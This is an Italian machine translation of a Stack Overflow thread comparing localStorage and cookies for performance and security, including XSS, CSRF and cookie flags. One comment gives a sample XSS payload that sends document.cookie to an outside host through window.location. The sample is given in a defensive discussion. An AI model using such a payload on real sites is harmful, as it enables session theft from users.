Memoria locale vs cookie


1027

Voglio ridurre i tempi di caricamento sui miei siti Web spostando tutti i cookie nella memoria locale poiché sembrano avere le stesse funzionalità. Esistono vantaggi / svantaggi (soprattutto in termini di prestazioni) nell'utilizzo dell'archiviazione locale per sostituire la funzionalità dei cookie, ad eccezione degli ovvi problemi di compatibilità?


107
Svantaggio Possibe: i valori localStorge su pagine Secure (SSL) sono isolati. Pertanto, se il tuo sito ha pagine http e https, non sarai in grado di accedere ai valori impostati su una pagina http quando visiti una pagina https. Ho appena provato localStorage per un mini carrello Ajax in un negozio Magento.

6
sorprendentemente ben supportato (rispetto a quello che mi aspettavo) caniuse.com/#search=localstorage
Simon_Weaver

6
Alcuni utenti hanno anche i cookie disabilitati di norma nei loro browser. L'archiviazione locale potrebbe funzionare meglio per quegli utenti.
evoluto il

9
" Possibe inconveniente: i valori di [localStorage] su pagine Secure (SSL) sono isolati " In realtà questo è il grande vantaggio.
curiousguy,

13
Ecco perché dovresti semplicemente forzare SSL sul tuo sito Web ... Non vedo alcun motivo per offrire entrambe le versioni di una pagina se hai già la versione SSL disponibile.
xji,

Risposte:


1277

I cookie e l'archiviazione locale hanno scopi diversi. I cookie servono principalmente per la lettura lato server , l'archiviazione locale può essere letta solo dal lato client . Quindi la domanda è, nella tua app, chi ha bisogno di questi dati: il client o il server?

Se è il tuo client (il tuo JavaScript), passa a tutti i costi. Stai sprecando la larghezza di banda inviando tutti i dati in ogni intestazione HTTP.

Se è il tuo server, l'archiviazione locale non è così utile perché dovresti inoltrare i dati in qualche modo (con Ajax o campi modulo nascosti o qualcosa del genere). Questo potrebbe andare bene se il server necessita solo di un piccolo sottoinsieme dei dati totali per ogni richiesta.

Tuttavia, ti consigliamo di lasciare il cookie di sessione come cookie in entrambi i modi.

Per quanto riguarda la differenza tecnica, e anche la mia comprensione:

  1. Oltre ad essere un vecchio modo di salvare i dati, i cookie offrono un limite di 4096 byte (4095, in realtà) - è per cookie. L'archiviazione locale è grande quanto 5 MB per dominio - SO Question lo menziona anche.

  2. localStorageè un'implementazione Storagedell'interfaccia. Memorizza i dati senza data di scadenza e viene cancellato solo tramite JavaScript o cancellando la cache del browser / i dati memorizzati localmente, a differenza della scadenza dei cookie.


30
HTML5 ha un archivio con ambito di sessione che può essere utilizzato anche come sostituto dei cookie di sessione.
Pat Niemeyer,

5
@PatNiemeyer, puoi assumere sessionStoragecome cookie che è scaduto fino alla chiusura del browser (non la scheda). @darkporter, grazie per la risposta. Tuttavia, vorrei sentire la differenza tecnica tra i cookie e l'archiviazione locale. aspettando la tua modifica.
Om Shankar,

28
@OmShankar Non sono sicuro che tu abbia ancora questo dubbio, ma ecco la differenza: localStorage rimane sul client, mentre cookiesviene inviato con l'intestazione HTTP. Questa è la differenza più grande (ma non l'unica) tra di loro.
Andre Calil,

16
Se l'app client parla con l'API REST, l'utilizzo di cookie per archiviare e trasmettere l'ID sessione non è idiomatico in REST. Quindi, per me i cookie sembrano una vecchia tecnologia che probabilmente dovrebbe essere sostituita con l'archiviazione locale (+ JavaScript se è necessario passare alcuni dati, come l'id di sessione, al server).
Tvaroh

8
L'archiviazione locale non è necessariamente una scelta più sicura rispetto ai cookie, poiché è vulnerabile agli attacchi XSS. Personalmente, opterei per un cookie HTTPS crittografato (magari utilizzando JWT o JWE), con uno schema di scadenza attentamente pianificato. cioè implementare sia una "politica" di scadenza a livello di cookie sia un processo di "rinnovo" dei cookie lato server, per ridurre la possibilità che un cookie venga utilizzato da terze parti dannose. Di seguito ho scritto una risposta citando parti di un articolo di Stormpath su questo argomento.
XtraSimplicity

232

Nel contesto dei JWT , Stormpath ha scritto un articolo abbastanza utile delineando possibili modi per memorizzarli e i (dis) vantaggi relativi a ciascun metodo.

Ha anche una breve panoramica degli attacchi XSS e CSRF e su come combatterli.

Ho allegato alcuni brevi frammenti dell'articolo qui sotto, nel caso in cui il loro articolo venga portato offline / il loro sito non funzioni.

Memoria locale

I problemi:

L'archiviazione Web (localStorage / sessionStorage) è accessibile tramite JavaScript sullo stesso dominio. Ciò significa che qualsiasi JavaScript in esecuzione sul tuo sito avrà accesso all'archiviazione Web e per questo motivo può essere vulnerabile agli attacchi cross-site scripting (XSS). XSS in breve è un tipo di vulnerabilità in cui un utente malintenzionato può iniettare JavaScript che verrà eseguito sulla tua pagina. Gli attacchi XSS di base tentano di iniettare JavaScript attraverso gli input del modulo, in cui l'attaccante mette in allerta ("Sei violato"); in un modulo per vedere se è gestito dal browser e può essere visualizzato da altri utenti.

Prevenzione:

Per impedire XSS, la risposta comune è quella di fuggire e codificare tutti i dati non attendibili. Ma questo è lontano dalla storia completa. Nel 2015 le moderne app Web utilizzano JavaScript ospitato su CDN o infrastrutture esterne. Le app Web moderne includono librerie JavaScript di terze parti per test A / B, analisi di canalizzazione / mercato e pubblicità. Utilizziamo gestori di pacchetti come Bower per importare il codice di altre persone nelle nostre app.

Che cosa succede se solo uno degli script che usi è compromesso? JavaScript dannoso può essere incorporato nella pagina e l'archiviazione Web è compromessa. Questi tipi di attacchi XSS possono ottenere l'archiviazione Web di tutti che visita il tuo sito, a loro insaputa. Questo è probabilmente il motivo per cui un gruppo di organizzazioni consiglia di non archiviare nulla di valore o di fidarsi di qualsiasi informazione nella memoria web. Ciò include identificatori di sessione e token.

Come meccanismo di archiviazione, l'archiviazione Web non applica alcun standard sicuro durante il trasferimento. Chiunque legga l'archiviazione Web e la usi deve fare la dovuta diligenza per assicurarsi di inviare sempre il JWT su HTTPS e mai HTTP.

Biscotti

I problemi:

I cookie, se utilizzati con il flag dei cookie HttpOnly, non sono accessibili tramite JavaScript e sono immuni da XSS. È inoltre possibile impostare il flag Secure cookie per garantire che il cookie venga inviato solo su HTTPS. Questo è uno dei motivi principali per cui i cookie sono stati sfruttati in passato per memorizzare token o dati di sessione. Gli sviluppatori moderni sono restii a usare i cookie perché tradizionalmente richiedono che lo stato sia archiviato sul server, infrangendo così le migliori pratiche RESTful. I cookie come meccanismo di archiviazione non richiedono che lo stato sia archiviato sul server se si memorizza un JWT nel cookie. Questo perché JWT incapsula tutto ciò di cui il server ha bisogno per soddisfare la richiesta.

Tuttavia, i cookie sono vulnerabili a un diverso tipo di attacco: falsificazione di richieste tra siti (CSRF). Un attacco CSRF è un tipo di attacco che si verifica quando un sito Web, e-mail o blog dannoso fa sì che il browser Web di un utente esegua un'azione indesiderata su un sito attendibile su cui l'utente è attualmente autenticato. Questo è un exploit di come il browser gestisce i cookie. Un cookie può essere inviato solo ai domini in cui è consentito. Per impostazione predefinita, questo è il dominio che ha originariamente impostato il cookie. Il cookie verrà inviato per una richiesta indipendentemente dal fatto che tu sia su galaxies.com o hahagonnahackyou.com.

Prevenzione:

I browser moderni supportano la SameSitebandiera , oltre a HttpOnlye Secure. Lo scopo di questo flag è impedire la trasmissione del cookie nelle richieste tra siti, impedendo molti tipi di attacchi CSRF.

Per i browser che non supportano SameSite, CSRF può essere prevenuto utilizzando modelli di token sincronizzati. Sembra complicato, ma tutti i moderni framework web hanno il supporto per questo.

Ad esempio, AngularJS ha una soluzione per confermare che il cookie è accessibile solo dal tuo dominio. Direttamente dai documenti di AngularJS:

Quando si eseguono richieste XHR, il servizio $ http legge un token da un cookie (per impostazione predefinita, XSRF-TOKEN) e lo imposta come intestazione HTTP (X-XSRF-TOKEN). Dal momento che solo JavaScript che viene eseguito sul tuo dominio può leggere il cookie, il tuo server può essere certo che l'XHR provenga da JavaScript in esecuzione sul tuo dominio. Puoi rendere questa protezione CSRF apolide includendo un xsrfTokenreclamo JWT:

{
  "iss": "http://galaxies.com",
  "exp": 1300819380,
  "scopes": ["explorer", "solar-harvester", "seller"],
  "sub": "tom@andromeda.com",
  "xsrfToken": "d9b9714c-7ac0-42e0-8696-2dae95dbc33e"
}

Sfruttando la protezione CSRF del framework dell'app Web, i cookie sono estremamente affidabili per l'archiviazione di un JWT. CSRF può anche essere parzialmente prevenuto controllando l'intestazione HTTP Referer e Origin dalla tua API. Gli attacchi CSRF avranno intestazioni Referer e Origin non correlate alla tua applicazione.

L'articolo completo è disponibile qui: https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/

Hanno anche un utile articolo su come progettare e implementare al meglio i JWT, per quanto riguarda la struttura del token stesso: https://stormpath.com/blog/jwt-the-right-way/


6
Punto eccellente. Sorpreso le implicazioni di sicurezza dell'archiviazione locale (o della sua mancanza per XSS) non sono state menzionate prima su una domanda così ben letta - tranne per una risposta che erroneamente IMHO suggerisce che è più sicura!
Barry Pollard,

25
Trovo che l'intera conversazione sulla sicurezza sia un po 'fonte di distrazione per essere onesti. Sì, localStorageè accessibile ad altri script sulla pagina ... Ma così è XMLHttpRequest... E sì, il flag HttpOnly protegge dal furto del cookie ma il browser lo invia comunque automaticamente al dominio corrispondente quindi ... fondamentalmente quando si hanno script dannosi correndo sulla tua pagina sei già stato violato.
Stijn de Witt,

3
@StijndeWitt Ogni livello di protezione ha il suo potere e la sua debolezza. Quindi di solito è meglio avere più livelli di protezione. Solo per darvi un esempio: HttpOnly previene anche attacchi non ajax come window.location = 'http://google.com?q=' + escape(document.cookie);. Questo attacco ignora il controllo CORS del browser.
Memet Olsen,

Supponendo che tu abbia meno di fornitori completamente fidati per alcune cose come le pubblicità ... perché i tuoi annunci vengono persino offerti dallo stesso dominio dei tuoi contenuti affidabili? Gli annunci devono solo essere visualizzati all'interno della pagina Web, in genere non devono eseguire JS all'interno della pagina. Tanta integrazione per quel contenuto di terze parti non è richiesta.
curiousguy,

Perché un token csrf in un cookie (che deve essere non solo http per definizione in modo che possa essere letto tramite JavaScript e inviato tramite un'intestazione) aiuta qualcosa in termini di sicurezza? Se il mio sito è vulnerabile a xss, il cookie può essere letto facilmente come l'archiviazione locale / sessione.
Juangamnik,

97

Con localStorage, le applicazioni Web possono archiviare i dati localmente nel browser dell'utente. Prima di HTML5, i dati delle applicazioni dovevano essere archiviati nei cookie, inclusi in ogni richiesta del server. Grandi quantità di dati possono essere archiviate localmente, senza influire sulle prestazioni del sito Web. Sebbene localStoragesia più moderno, ci sono alcuni pro e contro in entrambe le tecniche.

Biscotti

Professionisti

  • Supporto legacy (esiste da sempre)
  • Dati persistenti
  • Date di scadenza

Contro

  • Ogni dominio memorizza tutti i suoi cookie in una singola stringa, il che può rendere difficile l'analisi dei dati
  • I dati non sono crittografati, il che diventa un problema perché ... ... sebbene di piccole dimensioni, i cookie vengono inviati con ogni richiesta HTTP Dimensione limitata (4KB)
  • L'iniezione SQL può essere eseguita da un cookie

Memoria locale

Professionisti

  • Supporto per la maggior parte dei browser moderni
  • Dati persistenti archiviati direttamente nel browser
  • Le regole della stessa origine si applicano ai dati di archiviazione locali
  • Non viene inviato con ogni richiesta HTTP
  • ~ 5 MB di spazio di archiviazione per dominio (5120 KB)

Contro

  • Non supportato da nulla prima: IE 8, Firefox 3.5, Safari 4, Chrome 4, Opera 10.5, iOS 2.0, Android 2.0
  • Se il server necessita di informazioni client memorizzate, è necessario inviarle di proposito.

localStoragel'utilizzo è quasi identico a quello della sessione. Hanno metodi praticamente esatti, quindi passare dalla sessione a localStorageè davvero un gioco da ragazzi. Tuttavia, se i dati memorizzati sono davvero cruciali per la tua applicazione, probabilmente utilizzerai i cookie come backup nel caso in cui localStoragenon sia disponibile. Se vuoi controllare il supporto del browser localStorage, tutto ciò che devi fare è eseguire questo semplice script:

/* 
* function body that test if storage is available
* returns true if localStorage is available and false if it's not
*/
function lsTest(){
    var test = 'test';
    try {
        localStorage.setItem(test, test);
        localStorage.removeItem(test);
        return true;
    } catch(e) {
        return false;
    }
}

/* 
* execute Test and run our custom script 
*/
if(lsTest()) {
    // window.sessionStorage.setItem(name, 1); // session and storage methods are very similar
    window.localStorage.setItem(name, 1);
    console.log('localStorage where used'); // log
} else {
    document.cookie="name=1; expires=Mon, 28 Mar 2016 12:00:00 UTC";
    console.log('Cookie where used'); // log
}

"I valori localStorage su pagine Secure (SSL) sono isolati" poiché qualcuno ha notato tenere presente che localStorage non sarà disponibile se si passa dal protocollo protetto "http" a "https", dove il cookie sarà comunque accessibile. È importante essere consapevoli di ciò se si lavora con protocolli sicuri.


1
Il controllo che stai facendo non è molto affidabile. Esistono browser e modalità (privati) che hanno l'oggetto Storage, ma non riescono a impostare valori su di esso. L'unico modo per verificare il supporto effettivo è provare a rimuovere un set su di esso.
JavaScript,

Punto preso, ho aggiornato la mia risposta per quanto riguarda Joe risposta a: stackoverflow.com/questions/16427636/...
DevWL

10
poiché 'SQL injection può essere eseguito' è elencato come contra di cookie, stai dicendo che non può essere eseguito da localStorage?
Martin Schneider,

Un altro professionista per i cookie. I cookie possono essere contrassegnati come HTTPOnly. Ciò significa che non è possibile accedervi da JavaScript, il che a sua volta significa che nessun attacco XSS dannoso può recuperare il contenuto dei cookie. Per questo motivo, non direi necessariamente che l'archiviazione locale è più sicura dei cookie.
wp-overwatch.com

@ Mr.Me Sebbene gli attacchi XSS non possano leggere un cookie HTTPOnly, l'utente malintenzionato può comunque eseguire qualsiasi richiesta HTTP che l'utente può fare (per definizione) limitata solo dalla sessione del browser. Supponendo che il cookie di sessione sia un identificatore opaco, come quasi tutti i cookie di sessione, leggere il valore del cookie è utile solo per eseguire una richiesta HTTP che lo include: non si impara nulla solo con il valore del cookie. (Nota: i cookie di sessione possono a volte essere collegati a un particolare indirizzo IP di origine, intestazione user-agent o altre caratteristiche del browser; gli attacchi XSS eseguono richieste HTTP dal browser, quindi questi corrispondono.)
curiousguy

7

Bene, la velocità di archiviazione locale dipende molto dal browser utilizzato dal client, nonché dal sistema operativo. Chrome o Safari su un Mac potrebbero essere molto più veloci di Firefox su un PC, in particolare con le API più recenti. Come sempre, il test è tuo amico (non sono riuscito a trovare alcun benchmark).

Non vedo davvero una grande differenza tra cookie e archiviazione locale. Inoltre, dovresti essere più preoccupato per i problemi di compatibilità: non tutti i browser hanno nemmeno iniziato a supportare le nuove API HTML5, quindi i cookie sarebbero la soluzione migliore per velocità e compatibilità.


2
È solo un progetto interno, quindi cose come la compatibilità tra browser non sono realmente necessarie. Perché i cookie vengono inviati con ogni HTTPRequest (la mia applicazione ha ~ 77 richieste) che significa ~ 500 kB di sovraccarico aggiuntivo. So che la soluzione ovvia è una CDN, ma voglio provare qualcosa che non dipende dal server. Non sono riuscito a trovare alcun benchmark da solo ed è per questo che speravo che qualcuno qui potesse saperlo.
Gio Borje,

14
Perché Chrome o Safari sarebbero più veloci su un Mac? È praticamente lo stesso codice del browser in esecuzione su Mac, Linux o Windows.
Mark K Cowan,

7

Vale anche la pena ricordare che localStoragenon può essere utilizzato quando gli utenti navigano in modalità "privata" in alcune versioni di Safari mobile.

Citato da MDN ( https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage ):

Nota: a partire da iOS 5.1, Safari Mobile archivia i dati localStorage nella cartella della cache, che è soggetta a pulizia occasionale, su richiesta del sistema operativo, in genere se lo spazio è ridotto. La modalità di navigazione privata di Safari Mobile impedisce inoltre di scrivere interamente su localStorage.


6

L'archiviazione locale può archiviare fino a 5 MB di dati offline, mentre la sessione può anche archiviare fino a 5 MB di dati. Ma i cookie possono memorizzare solo dati da 4kb in formato testo.

Dati di archiviazione LOCAl e Session in formato JSON, quindi facili da analizzare. Ma i dati dei cookie sono in formato stringa.


6

Cookies :

  1. Introdotto prima di HTML5.
  2. Ha una data di scadenza.
  3. Cancella da JS o Cancella dati di navigazione del browser o dopo la data di scadenza.
  4. Verrà inviato al server per ogni richiesta.
  5. La capacità è di 4KB.
  6. Solo le stringhe sono in grado di memorizzare nei cookie.
  7. Esistono due tipi di cookie: persistenti e di sessione.

Memoria locale:

  1. Introdotto con HTML5.
  2. Non ha data di scadenza.
  3. Cancella da JS o Cancella dati di navigazione del browser.
  4. È possibile selezionare quando i dati devono essere inviati al server.
  5. La capacità è di 5 MB.
  6. I dati vengono archiviati indefinitamente e devono essere una stringa.
  7. Hai solo un tipo.

6. localStorage può solo memorizzare stringhe, primitive e oggetti devono essere convertiti in stringhe prima della memorizzazione, 7. sessionStorage è anche disponibile ed è identico a localStorage tranne che non persiste
Robbie Milejczak

Puoi conservare solo punture in memoria
TheMirir
Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.